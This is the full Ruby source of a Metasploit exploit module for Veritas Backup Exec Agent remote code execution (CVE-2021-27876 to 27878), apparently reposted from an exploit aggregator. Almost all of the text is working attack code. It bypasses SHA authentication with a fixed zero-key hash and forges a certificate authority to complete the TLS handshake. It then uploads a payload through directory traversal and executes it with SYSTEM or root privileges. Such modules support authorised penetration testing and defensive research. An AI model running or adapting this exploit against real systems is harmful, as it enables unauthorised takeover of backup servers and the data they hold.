Share
## https://sploitus.com/exploit?id=PACKETSTORM:168506
# frozen_string_literal: true  
  
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::NDMPSocket  
include Msf::Exploit::CmdStager  
include Msf::Exploit::EXE  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Veritas Backup Exec Agent Remote Code Execution',  
'Description' => %q{  
Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them.  
This authentication scheme is no longer used within Backup Exec versions, but hadn’t yet been disabled.  
An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to  
the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges  
depending on the platform.  
  
The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and  
including Backup Exec Remote Agent revision 9.3)  
},  
'License' => MSF_LICENSE,  
'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'],  
'References' => [  
['CVE', '2021-27876'],  
['CVE', '2021-27877'],  
['CVE', '2021-27878'],  
['URL', 'https://www.veritas.com/content/support/en_US/security/VTS21-001']  
],  
'Platform' => %w[win linux],  
'Targets' => [  
[  
'Windows',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'CmdStagerFlavor' => %w[certutil vbs psh_invokewebrequest debug_write debug_asm]  
}  
],  
[  
'Linux',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'CmdStagerFlavor' => %w[bourne wget curl echo]  
}  
]  
],  
'DefaultOptions' => {  
'RPORT' => 10_000  
},  
'Privileged' => true,  
'DisclosureDate' => '2021-03-01',  
'DefaultTarget' => 0,  
'Notes' => {  
'Reliability' => [UNRELIABLE_SESSION],  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'],  
conditions: ['TARGET', '==', 'Linux'])  
])  
deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')  
end  
  
def execute_command(cmd, opts = {})  
case target.opts['Platform']  
when 'win'  
wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"#{cmd}\""  
when 'linux'  
wrap_cmd = "#{datastore['SHELL']} -c \"#{cmd}\""  
end  
ndmp_sock = opts[:ndmp_sock]  
ndmp_sock.do_request_response(  
NDMP::Message.new_request(  
NDMP_EXECUTE_COMMAND,  
NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr  
)  
)  
end  
  
def exploit  
print_status('Exploiting ...')  
  
ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect  
fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status  
  
ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock)  
fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}") unless ndmp_status  
  
ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock)  
fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless ndmp_status  
  
if target.opts['Platform'] == 'win'  
filename = "#{rand_text_alpha(8)}.exe"  
ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename)  
if ndmp_status  
ndmp_status, msg_fail_reason = exec_win_command(ndmp_sock, filename)  
fail_with(Msf::Module::Failure::PayloadFailed, "Can not execute payload. #{msg_fail_reason}") unless ndmp_status  
else  
print_status('Can not upload payload with NDMP_FILE_WRITE packet. Trying to upload with CmdStager')  
execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })  
end  
else  
print_status('Uploading payload with CmdStager')  
execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })  
end  
end  
  
def check  
print_status('Checking vulnerability')  
  
ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect  
return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status  
  
print_status('Getting supported authentication types')  
ndmp_msg = ndmp_sock.do_request_response(  
NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)  
)  
ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body)  
print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _|  
"#{AUTH_TYPES[k]} (#{k})"  
end.join(', ')}")  
print_status("BE agent revision: #{ndmp_payload.revision}")  
  
if ndmp_payload.auth_types.include?(5)  
Exploit::CheckCode::Appears('SHA authentication is enabled')  
else  
Exploit::CheckCode::Safe('SHA authentication is disabled')  
end  
end  
  
def ndmp_connect  
print_status('Connecting to BE Agent service')  
ndmp_msg = nil  
begin  
ndmp_sock = NDMP::Socket.new(connect)  
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout,  
Rex::ConnectionRefused => e  
return [false, nil, e.to_s]  
end  
begin  
Timeout.timeout(datastore['ConnectTimeout']) do  
ndmp_msg = ndmp_sock.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)  
end  
rescue Timeout::Error  
return [false, nil, 'No NDMP_NOTIFY_CONNECTED (0x502) packet from BE Agent service']  
else  
ndmp_payload = NdmpNotifyConnectedRes.from_xdr(ndmp_msg.body)  
end  
  
ndmp_msg = ndmp_sock.do_request_response(  
NDMP::Message.new_request(  
NDMP::Message::CONNECT_OPEN,  
NdmpConnectOpenReq.new({ version: ndmp_payload.version }).to_xdr  
)  
)  
  
ndmp_payload = NdmpConnectOpenRes.from_xdr(ndmp_msg.body)  
unless ndmp_payload.err_code.zero?  
return [false, ndmp_sock, "Error code of NDMP_CONNECT_OPEN (0x900) packet: #{ndmp_payload.err_code}"]  
end  
  
[true, ndmp_sock, nil]  
end  
  
def tls_enabling(ndmp_sock)  
print_status('Enabling TLS for NDMP connection')  
ndmp_tls_certs = NdmpTlsCerts.new('VeritasBE', datastore['RHOSTS'].to_s)  
ndmp_tls_certs.forge_ca  
ndmp_msg = ndmp_sock.do_request_response(  
NDMP::Message.new_request(  
NDMP_SSL_HANDSHAKE,  
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_REQ])).to_xdr  
)  
)  
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)  
unless ndmp_payload.err_code.zero?  
return [false, "Error code of SSL_HANDSHAKE_CSR_REQ (2) packet: #{ndmp_payload.err_code}"]  
end  
  
ndmp_tls_certs.sign_agent_csr(ndmp_payload.data)  
  
ndmp_msg = ndmp_sock.do_request_response(  
NDMP::Message.new_request(  
NDMP_SSL_HANDSHAKE,  
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED])).to_xdr  
)  
)  
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)  
unless ndmp_payload.err_code.zero?  
return [false, "Error code of SSL_HANDSHAKE_CSR_SIGNED (3) packet: #{ndmp_payload.err_code}"]  
end  
  
ndmp_msg = ndmp_sock.do_request_response(  
NDMP::Message.new_request(  
NDMP_SSL_HANDSHAKE,  
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CONNECT])).to_xdr  
)  
)  
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)  
unless ndmp_payload.err_code.zero?  
return [false, "Error code of SSL_HANDSHAKE_CONNECT (4) packet: #{ndmp_payload.err_code}"]  
end  
  
ssl_context = OpenSSL::SSL::SSLContext.new  
ssl_context.add_certificate(ndmp_tls_certs.ca_cert, ndmp_tls_certs.ca_key)  
ndmp_sock.wrap_with_ssl(ssl_context)  
[true, nil]  
end  
  
def sha_authentication(ndmp_sock)  
print_status('Passing SHA authentication')  
ndmp_msg = ndmp_sock.do_request_response(  
NDMP::Message.new_request(  
NDMP_CONFIG_GET_AUTH_ATTR,  
NdmpConfigGetAuthAttrReq.new({ auth_type: 5 }).to_xdr  
)  
)  
ndmp_payload = NdmpConfigGetAuthAttrRes.from_xdr(ndmp_msg.body)  
unless ndmp_payload.err_code.zero?  
return [false, "Error code of NDMP_CONFIG_GET_AUTH_ATTR (0x103) packet: #{ndmp_payload.err_code}"]  
end  
  
ndmp_msg = ndmp_sock.do_request_response(  
NDMP::Message.new_request(  
NDMP::Message::CONNECT_CLIENT_AUTH,  
NdmpConnectClientAuthReq.new(  
{  
auth_type: 5,  
username: 'Administrator', # Doesn't metter  
hash: Digest::SHA256.digest("\x00" * 64 + ndmp_payload.challenge)  
}  
).to_xdr  
)  
)  
ndmp_payload = NdmpConnectClientAuthRes.from_xdr(ndmp_msg.body)  
unless ndmp_payload.err_code.zero?  
return [false, "Error code of NDMP_CONECT_CLIENT_AUTH (0x901) packet: #{ndmp_payload.err_code}"]  
end  
  
[true, nil]  
end  
  
def win_write_upload(ndmp_sock, filename)  
print_status('Uploading payload with NDMP_FILE_WRITE packet')  
ndmp_msg = ndmp_sock.do_request_response(  
NDMP::Message.new_request(  
NDMP_FILE_OPEN_EXT,  
NdmpFileOpenExtReq.new(  
{  
filename: filename,  
dir: '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp',  
mode: 4  
}  
).to_xdr  
)  
)  
ndmp_payload = NdmpFileOpenExtRes.from_xdr(ndmp_msg.body)  
unless ndmp_payload.err_code.zero?  
return [false, "Error code of NDMP_FILE_OPEN_EXT (0xf308) packet: #{ndmp_payload.err_code}"]  
end  
  
hnd = ndmp_payload.handler  
exe = generate_payload_exe  
offset = 0  
block_size = 2048  
  
while offset < exe.length  
ndmp_msg = ndmp_sock.do_request_response(  
NDMP::Message.new_request(  
NDMP_FILE_WRITE,  
NdmpFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr  
)  
)  
ndmp_payload = NdmpFileWriteRes.from_xdr(ndmp_msg.body)  
unless ndmp_payload.err_code.zero?  
return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"]  
end  
  
offset += block_size  
end  
  
ndmp_msg = ndmp_sock.do_request_response(  
NDMP::Message.new_request(  
NDMP_FILE_CLOSE,  
NdmpFileCloseReq.new({ handler: hnd }).to_xdr  
)  
)  
ndmp_payload = NdmpFileCloseRes.from_xdr(ndmp_msg.body)  
unless ndmp_payload.err_code.zero?  
return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"]  
end  
  
[true, nil]  
end  
  
def exec_win_command(ndmp_sock, filename)  
cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\""  
ndmp_msg = ndmp_sock.do_request_response(  
NDMP::Message.new_request(  
NDMP_EXECUTE_COMMAND,  
NdmpExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr  
)  
)  
ndmp_payload = NdmpExecuteCommandRes.from_xdr(ndmp_msg.body)  
unless ndmp_payload.err_code.zero?  
return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"]  
end  
  
[true, nil]  
end  
  
# Class to create CA and client certificates  
class NdmpTlsCerts  
def initialize(hostname, ip)  
@hostname = hostname  
@ip = ip  
@ca_key = nil  
@ca_cert = nil  
@be_agent_cert = nil  
end  
  
SSL_HANDSHAKE_TYPES = {  
SSL_HANDSHAKE_TEST_CERT: 1,  
SSL_HANDSHAKE_CSR_REQ: 2,  
SSL_HANDSHAKE_CSR_SIGNED: 3,  
SSL_HANDSHAKE_CONNECT: 4  
}.freeze  
  
attr_reader :ca_cert, :ca_key  
  
def forge_ca  
@ca_key = OpenSSL::PKey::RSA.new(2048)  
@ca_cert = OpenSSL::X509::Certificate.new  
@ca_cert.version = 2  
@ca_cert.serial = rand(2**32..2**64 - 1)  
@ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}")  
extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert)  
@ca_cert.extensions = [  
extn_factory.create_extension('subjectKeyIdentifier', 'hash'),  
extn_factory.create_extension('basicConstraints', 'CA:TRUE'),  
extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign')  
]  
@ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always'))  
@ca_cert.public_key = @ca_key.public_key  
@ca_cert.not_before = Time.now - 7 * 60 * 60 * 24  
@ca_cert.not_after = Time.now + 14 * 24 * 60 * 60  
@ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))  
end  
  
def sign_agent_csr(csr)  
o_csr = OpenSSL::X509::Request.new(csr)  
@be_agent_cert = OpenSSL::X509::Certificate.new  
@be_agent_cert.version = 2  
@be_agent_cert.serial = rand(2**32..2**64 - 1)  
@be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24  
@be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60  
@be_agent_cert.issuer = @ca_cert.subject  
@be_agent_cert.subject = o_csr.subject  
@be_agent_cert.public_key = o_csr.public_key  
@be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))  
end  
  
def default_sslpacket_content(ssl_packet_type)  
if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED]  
ca_cert = @ca_cert.to_s  
agent_cert = @be_agent_cert.to_s  
else  
ca_cert = ''  
agent_cert = ''  
end  
{  
ssl_packet_type: ssl_packet_type,  
hostname: @hostname,  
nb_hostname: @hostname.upcase,  
ip_addr: @ip,  
cert_id1: get_cert_id(@ca_cert),  
cert_id2: get_cert_id(@ca_cert),  
unknown1: 0,  
unknown2: 0,  
ca_cert_len: ca_cert.length,  
ca_cert: ca_cert,  
agent_cert_len: agent_cert.length,  
agent_cert: agent_cert  
}  
end  
  
def get_cert_id(cert)  
Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack1('L<')  
end  
end  
  
NDMP_CONFIG_GET_AUTH_ATTR = 0x103  
NDMP_SSL_HANDSHAKE = 0xf383  
NDMP_EXECUTE_COMMAND = 0xf30f  
NDMP_FILE_OPEN_EXT = 0xf308  
NDMP_FILE_WRITE = 0xF309  
NDMP_FILE_CLOSE = 0xF306  
  
AUTH_TYPES = {  
1 => 'Text',  
2 => 'MD5',  
3 => 'BEWS',  
4 => 'SSPI',  
5 => 'SHA',  
190 => 'BEWS2' # 0xBE  
}.freeze  
  
# Responce packets  
class NdmpNotifyConnectedRes < XDR::Struct  
attribute :connected, XDR::Int  
attribute :version, XDR::Int  
attribute :reason, XDR::Int  
end  
  
class NdmpConnectOpenRes < XDR::Struct  
attribute :err_code, XDR::Int  
end  
  
class NdmpConfigGetServerInfoRes < XDR::Struct  
attribute :err_code, XDR::Int  
attribute :vendor_name, XDR::String[]  
attribute :product_name, XDR::String[]  
attribute :revision, XDR::String[]  
attribute :auth_types, XDR::VarArray[XDR::Int]  
end  
  
class NdmpConfigGetHostInfoRes < XDR::Struct  
attribute :err_code, XDR::Int  
attribute :hostname, XDR::String[]  
attribute :os, XDR::String[]  
attribute :os_info, XDR::String[]  
attribute :ip, XDR::String[]  
end  
  
class NdmpSslHandshakeRes < XDR::Struct  
attribute :data_len, XDR::Int  
attribute :data, XDR::String[]  
attribute :err_code, XDR::Int  
attribute :unknown4, XDR::String[]  
end  
  
class NdmpConfigGetAuthAttrRes < XDR::Struct  
attribute :err_code, XDR::Int  
attribute :auth_type, XDR::Int  
attribute :challenge, XDR::Opaque[64]  
end  
  
class NdmpConnectClientAuthRes < XDR::Struct  
attribute :err_code, XDR::Int  
end  
  
class NdmpExecuteCommandRes < XDR::Struct  
attribute :err_code, XDR::Int  
end  
  
class NdmpFileOpenExtRes < XDR::Struct  
attribute :err_code, XDR::Int  
attribute :handler, XDR::Int  
end  
  
class NdmpFileWriteRes < XDR::Struct  
attribute :err_code, XDR::Int  
attribute :recv_len, XDR::Int  
attribute :unknown, XDR::Int  
end  
  
class NdmpFileCloseRes < XDR::Struct  
attribute :err_code, XDR::Int  
end  
  
# Request packets  
class NdmpConnectOpenReq < XDR::Struct  
attribute :version, XDR::Int  
end  
  
class NdmpSslHandshakeReq < XDR::Struct  
attribute :ssl_packet_type, XDR::Int  
attribute :nb_hostname, XDR::String[]  
attribute :hostname, XDR::String[]  
attribute :ip_addr, XDR::String[]  
attribute :cert_id1, XDR::Int  
attribute :cert_id2, XDR::Int  
attribute :unknown1, XDR::Int  
attribute :unknown2, XDR::Int  
attribute :ca_cert_len, XDR::Int  
attribute :ca_cert, XDR::String[]  
attribute :agent_cert_len, XDR::Int  
attribute :agent_cert, XDR::String[]  
end  
  
class NdmpConfigGetAuthAttrReq < XDR::Struct  
attribute :auth_type, XDR::Int  
end  
  
class NdmpConnectClientAuthReq < XDR::Struct  
attribute :auth_type, XDR::Int  
attribute :username, XDR::String[]  
attribute :hash, XDR::Opaque[32]  
end  
  
class NdmpExecuteCommandReq < XDR::Struct  
attribute :cmd, XDR::String[]  
attribute :unknown, XDR::Int  
end  
  
class NdmpFileOpenExtReq < XDR::Struct  
attribute :filename, XDR::String[]  
attribute :dir, XDR::String[]  
attribute :mode, XDR::Int  
end  
  
class NdmpFileWriteReq < XDR::Struct  
attribute :handler, XDR::Int  
attribute :len, XDR::Int  
attribute :data, XDR::String[]  
end  
  
class NdmpFileCloseReq < XDR::Struct  
attribute :handler, XDR::Int  
end  
end